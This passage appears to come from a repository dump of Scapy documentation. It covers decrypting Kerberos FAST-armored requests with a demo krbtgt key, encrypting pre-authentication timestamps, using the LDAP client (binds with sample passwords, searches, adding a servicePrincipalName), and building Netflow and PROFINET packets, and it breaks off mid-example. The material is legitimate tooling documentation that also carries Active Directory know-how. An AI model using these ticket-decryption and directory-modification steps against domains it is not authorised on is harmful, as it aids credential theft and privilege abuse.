<ASN1_STRING[b'<\\xaf4\\xec\\xef\\xd8Lxg\\x03\\xc2\\x009\\xdea\\xbc\\x01\\xeb\\xed\\x9b\\xe7\\xe5\\x1c\\x90\\xa5\\x82\\xfe\\xc8Rik\\xf9/\\xd1e\\xcd[^\\xf0\\xf9\\xb8\\xed\\xb6f\\xc9\\xcc\\xa5i\\r6N\\\\j\\xd6\\x9e}[\\xc7\\xe0Uuz\\xaab\\x06B\\x8a0%$\\x14M]\\x97\\xcc\\x0bd\\xdb\\x133PE\\x03\\x91q\\xed\\x1f\\r\\x11\\x1c\\xa1\\xbdFQ\\xeb\\xca=t\\xdb\\x02\\x9e\\\\m<\\x7f\\x86\\x00\\xc4NU\\xb1L\\xd3\\xc7\\xf6\\xa1\\\\\\x913@\\x0eBU\\xd7\\x1f#{\\xf2\\x88\\xc1\\x86\\x13|\\xd0J_,\\xab\\xba1f\\xde[\\xf1\\x11\\x90\\xa2\\xe5\\x96.M\\xbb\\xfb\\x98\\x01\\xe3\\xbes\\xed\\xe5\\xa56\\xeb\\'\\xa0\\x86\\xb6D\\xf1\"E\\x19\\x84Y\\xc0c\\xb8\\xec\\xba\"\\x8e\\x1f\\x92\\t\\xe0Z[\\xcb\\xb3\\x9a\\x12e\\x1e\\x1048\\xeey\\x98\\xe6f\\xd8b\\x88\\x12\\xfa4\\xbc\\x07\\xf4\\xc4\\xd0\\xa4\\xd8o\\xe2\\x07\\x12\\x8d\\xe3~\\x1f\\xfd\\x16\\x9aL\\xb8y\\xcb[\\x9d\\xb8\\xf9\\xc3\\xe8aC\\xbf\\xd44\\t\\xcaG\\xe9\\x0f;\\xc8H\\xa1\\x83\\x8f\\xcer\\t\\xf5r\\x96\\xe4Ic\\xa2\\xd1\\xe3\\xd4']>\n        |  \\reqBody   \\\n        |   |###[ KRB_KDC_REQ_BODY ]### \n        |   |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\\x81\\x00\\x10' (0 unused bit)>\n        |   |  \\cname     \\\n        |   |   |###[ PrincipalName ]### \n        |   |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>\n        |   |   |  nameString= [<ASN1_GENERAL_STRING[b'adm-0-fastenb']>]\n        |   |  realm     = <ASN1_GENERAL_STRING[b'DOM1']>\n        |   |  \\sname     \\\n        |   |   |###[ PrincipalName ]### \n        |   |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>\n        |   |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1']>]\n        |   |  from      = None\n        |   |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |   |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |   |  nonce     = 0x3f58a7a0 <ASN1_INTEGER[1062774688]>\n        |   |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]\n        |   |  \\addresses \\\n        |   |   |###[ HostAddress ]### \n        |   |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>\n        |   |   |  address   = <ASN1_STRING[b'SRV             ']>\n        |   |  encAuthorizationData= None\n        |   |  additionalTickets= None\n\nThere are 3 encrypted payloads:\n\n- ``pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart``, encrypted using the KRBTGT\n- ``pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator``, encrypted using the ticket session key (that the clients gets from the first AS-REQ, and that that is also included in tickets for the server to use)\n- ``pkt.root.padata[0].padataValue.armoredData.encFastReq``, encrypted using using the armor key\n\nWe have the krbtgt for this demo:\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import Key, EncryptionType\n    >>> krbtgt_hex = \"ac67a63d7155791fe31dace230ab516e818c453dfdbd44cbe691b240725c4907\"\n    >>> krbtgt = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(krbtgt_hex))\n\nWe can therefore decrypt the first payload:\n\n.. code:: pycon\n\n    >>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.ticket.encPart\n    >>> encticketpart = enc.decrypt(krbtgt)\n    >>> encticketpart.show()\n    ###[ EncTicketPart ]### \n        flags     = forwardable, renewable, initial, pre-authent <ASN1_BIT_STRING[0100000011...0000000000]=b'@\\xe1\\x00\\x00' (0 unused bit)>\n        \\key       \\\n        |###[ EncryptionKey ]### \n        |  keytype   = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |  keyvalue  = <ASN1_STRING[b'\\xe3\\xa2\\x0f\\x8e\\xb2\\xe1*\\xe0\\x7f\\x86\\xcc\\x88\\xe6,\\x08>B\\xd8)m/G\\x82B;\\x9f+\\x86\\xcd\\xcd\\xf4\\x05']>\n        crealm    = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>\n        \\cname     \\\n        |###[ PrincipalName ]### \n        |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>\n        |  nameString= [<ASN1_GENERAL_STRING[b'SRV$']>]\n        \\transited \\\n        |###[ TransitedEncoding ]### \n        |  trType    = 0x0 <ASN1_INTEGER[0]>\n        |  contents  = <ASN1_STRING[b'']>\n        authtime  = 2022-07-12 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220712230225Z']>\n        starttime = 2022-07-12 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220712230225Z']>\n        endtime   = 2022-07-13 09:02:25 UTC <ASN1_GENERALIZED_TIME['20220713090225Z']>\n        renewTill = 2022-07-19 23:02:25 UTC <ASN1_GENERALIZED_TIME['20220719230225Z']>\n        addresses = None\n    [...]\n\nWe can see the ticket session key in there, let's retrieve it and build a :class:`~scapy.libs.rfc3961.Key` object:\n\n.. note:: We use the ``.toKey()`` function in the ``EncryptedKey`` type which is a shorthand for ``Key(<keytype>, key=<keyvalue>)``\n\n.. code:: pycon\n\n    >>> ticket_session_key = encticketpart.key.toKey()\n    >>> ticket_session_key.key\n    b'\\xe3\\xa2\\x0f\\x8e\\xb2\\xe1*\\xe0\\x7f\\x86\\xcc\\x88\\xe6,\\x08>B\\xd8)m/G\\x82B;\\x9f+\\x86\\xcd\\xcd\\xf4\\x05'\n\nWe can now decrypt the second payload:\n\n.. code:: pycon\n\n    >>> enc = pkt.root.padata[0].padataValue.armoredData.armor.armorValue.authenticator\n    >>> authenticator = enc.decrypt(ticket_session_key)\n    >>> authenticator.show()\n    ###[ KRB_Authenticator ]### \n        authenticatorPvno= 0x5 <ASN1_INTEGER[5]>\n        crealm    = <ASN1_GENERAL_STRING[b'DOM1.LOCAL']>\n        \\cname     \\\n        |###[ PrincipalName ]### \n        |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>\n        |  nameString= [<ASN1_GENERAL_STRING[b'SRV$']>]\n        checksumtype= 0x0 <ASN1_INTEGER[0]>\n        checksum  = <ASN1_STRING['']>\n        cusec     = 0x3c <ASN1_INTEGER[60]>\n        ctime     = 2022-07-12 23:54:37 UTC <ASN1_GENERALIZED_TIME['20220712235437Z']>\n        \\subkey    \\\n        |###[ EncryptionKey ]### \n        |  keytype   = 'AES-256' 0x12 <ASN1_INTEGER[18]>\n        |  keyvalue  = <ASN1_STRING[b'%\\xa4n\\xe1\\xd0\\xf5\\x8d\\xc4\\x8d\\xecv\\xe8\\x9c\\xd3\\xc9\\xee\\x1bu\\xc9\\xa5\\xa6\\xf8\\x83f\\x98\\xa1\\xd9\\xe7*I\\x9b\\xf8']>\n        seqNumber = 0x0 <ASN1_INTEGER[0]>\n        encAuthorizationData= None\n\nAgain, we see inside this the subkey that is used to compute the armor key. We get it:\n\n.. code:: pycon\n\n    >>> subkey = authenticator.subkey.toKey()\n    >>> subkey.key\n    b'%\\xa4n\\xe1\\xd0\\xf5\\x8d\\xc4\\x8d\\xecv\\xe8\\x9c\\xd3\\xc9\\xee\\x1bu\\xc9\\xa5\\xa6\\xf8\\x83f\\x98\\xa1\\xd9\\xe7*I\\x9b\\xf8'\n\nFollowing `RFC6113 sect 5.4.1.1 <https://datatracker.ietf.org/doc/html/rfc6113.html#section-5.4.1.1>`_, we can now compute the armor key using:\n\n.. code:: pycon\n\n    >>> from scapy.libs.rfc3961 import KRB_FX_CF2\n    >>> armorkey = KRB_FX_CF2(subkey, ticket_session_key, b\"subkeyarmor\", b\"ticketarmor\")\n    >>> print(armorkey.key)\n    b'\\x9f\\x18L]I\\x16\\xd0\\xe5\\xa6\\xd9\\x92+\\xbf\\xbc\\xe0\\n\\xd1\\xcb6\\xf3\\xd1.C\\xc2\\xdcp\\xf0H(\\x99\\x14\\x80'\n\nThat we can now use to decrypt the last payload:\n\n.. code:: pycon\n\n    >>> enc = pkt.root.padata[0].padataValue.armoredData.encFastReq\n    >>> krbfastreq = enc.decrypt(armorkey)\n    >>> krbfastreq.show()\n    ###[ KrbFastReq ]### \n        fastOptions=  <ASN1_BIT_STRING[0000000000...0000000000]=b'\\x00\\x00\\x00\\x00' (0 unused bit)>\n        \\padata    \\\n        |###[ PADATA ]### \n        |  padataType= 'PA-PAC-REQUEST' 0x80 <ASN1_INTEGER[128]>\n        |  \\padataValue\\\n        |   |###[ PA_PAC_REQUEST ]### \n        |   |  includePac= True <ASN1_BOOLEAN[-1]>\n        |###[ PADATA ]### \n        |  padataType= 'PA-PAC-OPTIONS' 0xa7 <ASN1_INTEGER[167]>\n        |  \\padataValue\\\n        |   |###[ PA_PAC_OPTIONS ]### \n        |   |  options   = Claims <ASN1_BIT_STRING[1000000000...0000000000]=b'\\x80\\x00\\x00\\x00' (0 unused bit)>\n        \\reqBody   \\\n        |###[ KRB_KDC_REQ_BODY ]### \n        |  kdcOptions= forwardable, renewable, canonicalize, renewable-ok <ASN1_BIT_STRING[0100000010...0000010000]=b'@\\x81\\x00\\x10' (0 unused bit)>\n        |  \\cname     \\\n        |   |###[ PrincipalName ]### \n        |   |  nameType  = 'NT-PRINCIPAL' 0x1 <ASN1_INTEGER[1]>\n        |   |  nameString= [<ASN1_GENERAL_STRING[b'adm-0-fastenb']>]\n        |  realm     = <ASN1_GENERAL_STRING[b'DOM1']>\n        |  \\sname     \\\n        |   |###[ PrincipalName ]### \n        |   |  nameType  = 'NT-SRV-INST' 0x2 <ASN1_INTEGER[2]>\n        |   |  nameString= [<ASN1_GENERAL_STRING[b'krbtgt']>, <ASN1_GENERAL_STRING[b'DOM1']>]\n        |  from      = None\n        |  till      = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |  rtime     = 2037-09-13 02:48:05 UTC <ASN1_GENERALIZED_TIME['20370913024805Z']>\n        |  nonce     = 0x3f58a7a0 <ASN1_INTEGER[1062774688]>\n        |  etype     = [0x12 <ASN1_INTEGER[18]>, 0x11 <ASN1_INTEGER[17]>, 0x17 <ASN1_INTEGER[23]>, 0x18 <ASN1_INTEGER[24]>, -0x87 <ASN1_INTEGER[-135]>, 0x3 <ASN1_INTEGER[3]>]\n        |  \\addresses \\\n        |   |###[ HostAddress ]### \n        |   |  addrType  = 'NetBios' 0x14 <ASN1_INTEGER[20]>\n        |   |  address   = <ASN1_STRING[b'SRV             ']>\n        |  encAuthorizationData= None\n        |  additionalTickets= None\n\nManually using Kerberos encryption\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nA  :func:`~scapy.libs.rfc3961.Key.encrypt` function exists in the :class:`~scapy.libs.rfc3961.Key` object in order to do the opposite of :func:`~scapy.libs.rfc3961.Key.decrypt`.\n\n\nFor instance, during pre-authentication, encode ``PA-ENC-TIMESTAMP``:\n\n.. code:: pycon\n\n    >>> from datetime import datetime\n    >>> from scapy.libs.rfc3961 import Key, EncryptionType\n    >>> # Create the PADATA layer with its EncryptedValue\n    >>> pkt = PADATA(padataType=0x2, padataValue=EncryptedData())\n    >>> # Compute the key\n    >>> key = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b\"Password1\", b\"DOMAIN.LOCALUser1\")\n    >>> now_time = datetime.now(timezone.utc).replace(microsecond=0)  # Current time with no milliseconds\n    >>> # Encrypt\n    >>> pkt.padataValue.encrypt(key, PA_ENC_TS_ENC(patimestamp=ASN1_GENERALIZED_TIME(now_time)))\n    >>> pkt.show()\n    ###[ PADATA ]### \n        padataType= 2\n        \\padataValue\\\n        |###[ EncryptedData ]### \n        |  etype     = 18\n        |  kvno      = 0x0 <ASN1_INTEGER[0]>\n        |  cipher    = b\"\\xc1\\x9a\\xaf\\x89V\\x16\\x82\\xb6\\x9a\\xcb\\x15[\\xaf\\xed\\xd9\\xfc\\x04\\xbf\\x18\\xd4&\\x91\\xb3\\xcf~tEk,\\x98m\\xee\\xa4O\\x05=\\x11b\\xe05\\xca\\x92+80\\x99\\xb1'~\\x8d\\xdbtz\\xa8\"\n"
  },
  {
    "path": "doc/scapy/layers/ldap.rst",
    "content": "LDAP\n====\n\nScapy fully implements the LDAPv2 / LDAPv3 messages, in addition to a very basic :class:`~scapy.layers.ldap.LDAP_Client` class.\n\n\nLDAP client usage\n-----------------\n\nThe general idea when using the :class:`~scapy.layers.ldap.LDAP_Client` class comes down to:\n\n- instantiating the class\n- calling :func:`~scapy.layers.ldap.LDAP_Client.connect` with the IP (this is where to specify whether to use SSL or not)\n- calling :func:`~scapy.layers.ldap.LDAP_Client.bind` (this is where to specify a SSP if authentication is desired)\n- calling :func:`~scapy.layers.ldap.LDAP_Client.search` to search data.\n- calling :func:`~scapy.layers.ldap.LDAP_Client.modify` to edit data attributes.\n\nThe simplest, unauthenticated demo of the client would be something like:\n\n.. code:: pycon\n\n    >>> client = LDAP_Client()\n    >>> client.connect(\"192.168.0.100\")\n    >>> client.bind(LDAP_BIND_MECHS.NONE)\n    >>> client.sr1(LDAP_SearchRequest()).show()\n    ┃ Connecting to 192.168.0.100 on port 389...\n    └ Connected from ('192.168.0.102', 40228)\n    NONE bind succeeded !\n    >> LDAP_SearchRequest\n    << LDAP_SearchResponseEntry\n    ###[ LDAP ]###\n    messageID = 0x1 <ASN1_INTEGER[1]>\n    \\protocolOp\\\n    |###[ LDAP_SearchResponseEntry ]###\n    |  objectName= <ASN1_STRING[b'']>\n    |  \\attributes\\\n    |   |###[ LDAP_PartialAttribute ]###\n    |   |  type      = <ASN1_STRING[b'domainFunctionality']>\n    |   |  \\values    \\\n    |   |   |###[ LDAP_AttributeValue ]###\n    |   |   |  value     = <ASN1_STRING[b'7']>\n    |   |###[ LDAP_PartialAttribute ]###\n    |   |  type      = <ASN1_STRING[b'forestFunctionality']>\n    |   |  \\values    \\\n    |   |   |###[ LDAP_AttributeValue ]###\n    |   |   |  value     = <ASN1_STRING[b'7']>\n    |   |###[ LDAP_PartialAttribute ]###\n    |   |  type      = <ASN1_STRING[b'domainControllerFunctionality']>\n    |   |  \\values    \\\n    |   |   |###[ LDAP_AttributeValue ]###\n    |   |   |  value     = <ASN1_STRING[b'7']>\n    [...]\n\nConnecting\n~~~~~~~~~~\n\nLet's first instantiate the :class:`~scapy.layers.ldap.LDAP_Client`, and connect to a server over the default port (389):\n\n.. code:: python\n\n    client = LDAP_Client()\n    client.connect(\"192.168.0.100\")\n\nIt is also possible to use TLS when connecting to the server.\n\n.. code:: python\n\n    client = LDAP_Client()\n    client.connect(\"192.168.0.100\", use_ssl=True)\n\nIn that case, the default port is 636. This can be changed using the ``port`` attribute.\n\n.. note::\n    By default, the server certificate is NOT checked when using this mode, because the server certificate will likely be self-signed.\n    To actually use TLS securely, you should pass a ``sslcontext`` as shown below:\n\n.. code:: python\n\n    import ssl\n    client = LDAP_Client()\n    sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n    sslcontext.load_verify_locations('path/to/ca.crt')\n    client.connect(\"192.168.0.100\", use_ssl=True, sspcontext=sslcontext)\n\n.. note:: If the client is too verbose, you can pass ``verb=False`` when instantiating :class:`~scapy.layers.ldap.LDAP_Client`.\n\nBinding\n~~~~~~~\n\nWhen binding, you must specify a *mechanism type*. This type comes from the :class:`~scapy.layers.ldap.LDAP_BIND_MECHS` enumeration, which contains:\n\n- :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.NONE`: an unauthenticated bind.\n- :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SIMPLE`: the simple bind mechanism. Credentials are sent **in plaintext**.\n- :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY`: a `Windows specific authentication mechanism specified in [MS-ADTS] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/8b9dbfb2-5b6a-497a-a533-7e709cb9a982>`_ that only supports NTLM.\n- :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSSAPI`: the SASL authentication mechanism, as specified by `RFC 4422 <https://datatracker.ietf.org/doc/html/rfc4422>`_.\n- :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO`: the SPNEGO authentication mechanism, another `Windows specific authentication mechanism specified in [MS-SPNG] <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-spng/f377a379-c24f-4a0f-a3eb-0d835389e28a>`_.\n\nDepending on the server that you are talking to, some of those mechanisms might not be available. This is most notably the case of :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY` and :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO` which are mostly Windows-specific.\n\nWe'll now go over \"how to bind\" using each one of those mechanisms:\n\n**NONE (Unauthenticated):**\n\n.. code:: python\n\n    client.bind(LDAP_BIND_MECHS.NONE)\n\n**SIMPLE:**\n\n.. code:: python\n\n    client.bind(\n        LDAP_BIND_MECHS.SIMPLE,\n        simple_username=\"Administrator\",\n        simple_password=\"Password1!\",\n    )\n\n**SICILY - NTLM:**\n\n.. code:: python\n\n    ssp = NTLMSSP(UPN=\"Administrator\", PASSWORD=\"Password1!\")\n    client.bind(\n        LDAP_BIND_MECHS.SICILY,\n        ssp=ssp,\n    )\n\n**SASL_GSSAPI - Kerberos:**\n\n.. code:: python\n\n    ssp = KerberosSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"Password1!\",\n                      SPN=\"ldap/dc1.domain.local\")\n    client.bind(\n        LDAP_BIND_MECHS.SASL_GSSAPI,\n        ssp=ssp,\n    )\n\n**SASL_GSS_SPNEGO - NTLM / Kerberos:**\n\n.. code:: python\n\n    ssp = SPNEGOSSP([\n        NTLMSSP(UPN=\"Administrator\", PASSWORD=\"Password1!\"),\n        KerberosSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"Password1!\",\n                    SPN=\"ldap/dc1.domain.local\"),\n    ])\n    client.bind(\n        LDAP_BIND_MECHS.SASL_GSS_SPNEGO,\n        ssp=ssp,\n    )\n\nSigning / Encryption\n~~~~~~~~~~~~~~~~~~~~\n\nAdditionally, it is possible to enable signing or encryption of the LDAP data, when LDAPS is NOT in use.\nThis is done by setting ``sign`` and ``encrypt`` parameters of the :func:`~scapy.layers.ldap.LDAP_Client.bind` function.\n\nThere are however a few caveats to note:\n\n- It's not possible to use those flags in ``NONE`` (duh) or ``SIMPLE`` mode.\n- When using the :class:`~scapy.layers.ntlm.NTLMSSP` (in :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY` or :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO` mode), it isn't possible to use ``sign`` without ``encrypt``, because Windows doesn't implement it.\n\nQuerying\n~~~~~~~~\n\nOnce the LDAP connection is bound, it becomes possible to perform requests. For instance, to query all the values of the root DSE:\n\n.. code:: python\n\n    client.sr1(LDAP_SearchRequest()).show()\n\nWe can also use the :func:`~scapy.layers.ldap.LDAP_Client.search` passing a base DN, a filter (as specified by RFC2254) and a scope.\\\\\n\nThe scope can be one of the following:\n\n- 0=baseObject: only the base DN's attributes are queried\n- 1=singleLevel: the base DN's children are queried\n- 2=wholeSubtree: the entire subtree under the base DN is included\n\nFor instance, this corresponds to querying the DN ``CN=Users,DC=domain,DC=local`` with the filter ``(objectCategory=person)`` and asking for the attributes ``objectClass,name,description,canonicalName``:\n\n.. code:: python\n\n    resp = client.search(\n        \"CN=Users,DC=domain,DC=local\",\n        \"(objectCategory=person)\",\n        [\"objectClass\", \"name\", \"description\", \"canonicalName\"],\n        scope=1,  # children\n    )\n    resp.show()\n\nTo understand exactly what's going on, note that the previous call is exactly identical to the following:\n\n.. code:: python\n\n    resp = client.sr1(\n        LDAP_SearchRequest(\n            filter=LDAP_Filter(\n                filter=LDAP_FilterEqual(\n                    attributeType=ASN1_STRING(b'objectCategory'),\n                    attributeValue=ASN1_STRING(b'person')\n                )\n            ),\n            attributes=[\n                LDAP_SearchRequestAttribute(type=ASN1_STRING(b'objectClass')),\n                LDAP_SearchRequestAttribute(type=ASN1_STRING(b'name')),\n                LDAP_SearchRequestAttribute(type=ASN1_STRING(b'description')),\n                LDAP_SearchRequestAttribute(type=ASN1_STRING(b'canonicalName'))\n            ],\n            baseObject=ASN1_STRING(b'CN=Users,DC=domain,DC=local'),\n            scope=ASN1_ENUMERATED(1),\n            derefAliases=ASN1_ENUMERATED(0),\n            sizeLimit=ASN1_INTEGER(1000),\n            timeLimit=ASN1_INTEGER(60),\n            attrsOnly=ASN1_BOOLEAN(0)\n        )\n    )\n\n\n.. warning::\n    Our RFC2254 parser currently does not support 'Extensible Match'.\n\nModifying attributes\n~~~~~~~~~~~~~~~~~~~~\n\nIt's also possible to change some attributes on an object.\nThe following issues a ``Modify Request`` that replaces the ``displayName`` attribute and adds a ``servicePrincipalName``:\n\n.. code:: python\n\n    client.modify(\n        \"CN=User1,CN=Users,DC=domain,DC=local\",\n        changes=[\n            LDAP_ModifyRequestChange(\n                operation=\"replace\",\n                modification=LDAP_PartialAttribute(\n                    type=\"displayName\",\n                    values=[\n                        LDAP_AttributeValue(value=\"Lord User the 1st\")\n                    ]\n                )\n            ),\n            LDAP_ModifyRequestChange(\n                operation=\"add\",\n                modification=LDAP_PartialAttribute(\n                    type=\"servicePrincipalName\",\n                    values=[\n                        LDAP_AttributeValue(value=\"http/lorduser\")\n                    ]\n                )\n            )\n        ]\n    )\n\nLDAPHero\n--------\n\nLDAPHero (LDAPéro in French) is a graphical wrapper around Scapy's :class:`~scapy.layers.ldap.LDAP_Client`, that works on all plateforms.\nIt can be used with:\n\n.. code:: python\n\n   >>> load_module(\"ticketer\")\n   >>> LDAPHero()\n\nIt's possible to pass it a SSP, which will be used when clicking the \"Bind\" button:\n\n.. code:: python\n\n   >>> LDAPHero(mech=LDAP_BIND_MECHS.SICILY,\n   ...          ssp=NTLMSSP(UPN=\"Administrator@domain.local\", PASSWORD=\"test\"))\n\nYou can use the same examples as in `Binding <#binding>`_.\n\nIt's also possible to pass some connection parameters, for instance to connect to a specific host, you could use:\n\n.. code:: python\n\n   >>> LDAPHero(host=\"192.168.0.100\")\n"
  },
  {
    "path": "doc/scapy/layers/netflow.rst",
    "content": "Netflow\n=======\n\nNetflow packets mainly comes in 3 versions::\n\n- ``Netflow V5``\n- ``Netflow V7``\n- ``Netflow V9 / V10 (IPfix)``\n\nWhile the two first versions are pretty straightforward, building or dissecting Netflow v9/v10 isn't easy.\n\nNetflow V1\n----------\n\n.. code::\n\n    netflow = NetflowHeader()/NetflowHeaderV1()/NetflowRecordV1()\n    pkt = Ether()/IP()/UDP()/netflow\n\nNetflow V5\n----------\n\n.. code::\n\n    netflow = NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst=\"192.168.0.1\")\n    pkt = Ether()/IP()/UDP()/netflow\n\nNetflowV9 / IPfix\n-----------------\n\nNetflow v9 and IPfix use a template based system. This means that records that are sent over the wire require a \"Template\" to be sent previously in a Flowset packet.\n\nThis template is required to understand thr format of the record, therefore needs to be provided when building or dissecting those.\n\nFortunately, Scapy knows how to detect the templates and will provide dissecting methods that take care of that.\n\n.. note::\n\n    The following examples apply to Netflow V9. When using IPfix, use the exact same format but replace the class names with their V10 counterpart (if they exist ! Scapy shares some classes between the two). Have a look at :mod:`~scapy.layers.netflow`\n\n- **Build**\n\n.. code::\n\n    header = Ether()/IP()/UDP()\n    netflow_header = NetflowHeader()/NetflowHeaderV9()\n\n    # Let's first build the template. Those need an ID > 255.\n    # The (full) list of possible fieldType is available in the\n    # NetflowV910TemplateFieldTypes list. You can also use the int value.\n    flowset = NetflowFlowsetV9(\n        templates=[NetflowTemplateV9(\n            template_fields=[\n                NetflowTemplateFieldV9(fieldType=\"IN_BYTES\", fieldLength=1),\n                NetflowTemplateFieldV9(fieldType=\"IN_PKTS\", fieldLength=4),\n                NetflowTemplateFieldV9(fieldType=\"PROTOCOL\"),\n                NetflowTemplateFieldV9(fieldType=\"IPV4_SRC_ADDR\"),\n                NetflowTemplateFieldV9(fieldType=\"IPV4_DST_ADDR\"),\n            ],\n            templateID=256,\n            fieldCount=5)\n        ],\n        flowSetID=0\n    )\n    # Let's generate the record class. This will be a Packet class\n    # In case you provided several templates in ghe flowset, you will need\n    # to pass the template ID as second parameter\n    recordClass = GetNetflowRecordV9(flowset)\n    # Now lets build the data records\n    dataFS = NetflowDataflowsetV9(\n        templateID=256,\n        records=[ # Some random data.\n            recordClass(\n                IN_BYTES=b\"\\x12\",\n                IN_PKTS=b\"\\0\\0\\0\\0\",\n                PROTOCOL=6,\n                IPV4_SRC_ADDR=\"192.168.0.10\",\n                IPV4_DST_ADDR=\"192.168.0.11\"\n            ),\n            recordClass(\n                IN_BYTES=b\"\\x0c\",\n                IN_PKTS=b\"\\1\\1\\1\\1\",\n                PROTOCOL=3,\n                IPV4_SRC_ADDR=\"172.0.0.10\",\n                IPV4_DST_ADDR=\"172.0.0.11\"\n            )\n        ],\n    )\n    pkt = header / netflow_header / flowset / dataFS\n\n- **Dissection**\n\nScapy provides two methods to parse NetflowV9/IPFix:\n\n- :class:`~scapy.layers.netflow.NetflowSession`: to use with ``sniff(session=NetflowV9Session, [...])``\n- :func:`~scapy.layers.netflow.netflowv9_defragment`: to use on a packet or list of packets.\n\nWith the previous example::\n\n    pkt = Ether(raw(pkt))  # will loose the defragmentation\n    pkt = netflowv9_defragment(pkt)[0]\n"
  },
  {
    "path": "doc/scapy/layers/pnio.rst",
    "content": "***************\nPROFINET IO RTC\n***************\n\nPROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols.\n\nRTC data packet\n---------------\n\nThe first thing to do when building the RTC ``data`` buffer is to instantiate each Scapy packet which represents a piece of data. Some of the basic packets are:\n\n* ``ProfinetIO``: the building block for PROFINET packets. Can be layered on top of Ether() or UDP()\n\n* ``PROFIsafe``: the PROFIsafe profile to perform functional safety\n\n* ``PNIORealTime_IOxS``: either an IO Consumer or Provider Status byte\n\nInstantiate the packets as follows::\n\n    >>> load_contrib('pnio')\n    >>> raw(ProfinetIO()/b'AAA')\n    b'\\x00\\x00AAA'\n    >>> raw(PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242))\n    b'AAA\\x00 BBB'\n    >>> hexdump(PNIORealTime_IOxS())\n    0000   80                                                 .\n\n\nRTC packet\n----------\n\nNow that a data packet can be instantiated, a whole RTC packet may be built. ``PNIORealTimeCyclicPDU`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be\nable to dissect it::\n\n    >>> load_contrib('pnio')\n    >>> p=PNIORealTimeCyclicPDU(cycleCounter=1024, data=[\n    ... PNIORealTime_IOxS(),\n    ... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4)(data = b'AAA') / PNIORealTime_IOxS(),\n    ... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242)/PNIORealTime_IOxS(),\n    ... ])\n    >>> p.show()\n    ###[ PROFINET Real-Time ]###\n      \\data      \\\n       |###[ PNIO RTC IOxS ]###\n       |  dataState = good\n       |  instance  = subslot\n       |  reserved  = 0x0\n       |  extension = 0\n       |###[ FixedLenRawPacketLen4 ]###\n       |  data      = 'AAA'\n       |###[ PNIO RTC IOxS ]###\n       |     dataState = good\n       |     instance  = subslot\n       |     reserved  = 0x0\n       |     extension = 0\n       |###[ PROFISafe Control Message with F_CRC_Seed=0 ]###\n       |  dat(      = 'AAA'\n       |  control   = Toggle_h\n       |  crc       = 0x424242\n       |###[ PNIO RTC IOxS ]###\n       |     dataState = good\n       |     instance  = subslot\n       |     reserved  = 0x0\n       |     extension = 0\n      padding   = ''\n      cycleCounter= 1024\n      dataStatus= primary+validData+run+no_problem\n      transferStatus= 0\n\n\nFor Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs[\"PNIO_RTC\"]`` which can be updated with the ``conf.contribs[\"PNIO_RTC\"].update`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst, ProfinetIO.frameID)`` as key, to be able to separate the configuration of each communication. Each value is then a list of classes which describes a data packet. If we continue the previous example, here is the configuration to set::\n\n    >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO(frameID=\"RT_CLASS_1\") / p\n    >>> e.show2()\n    ###[ Ethernet ]###\n      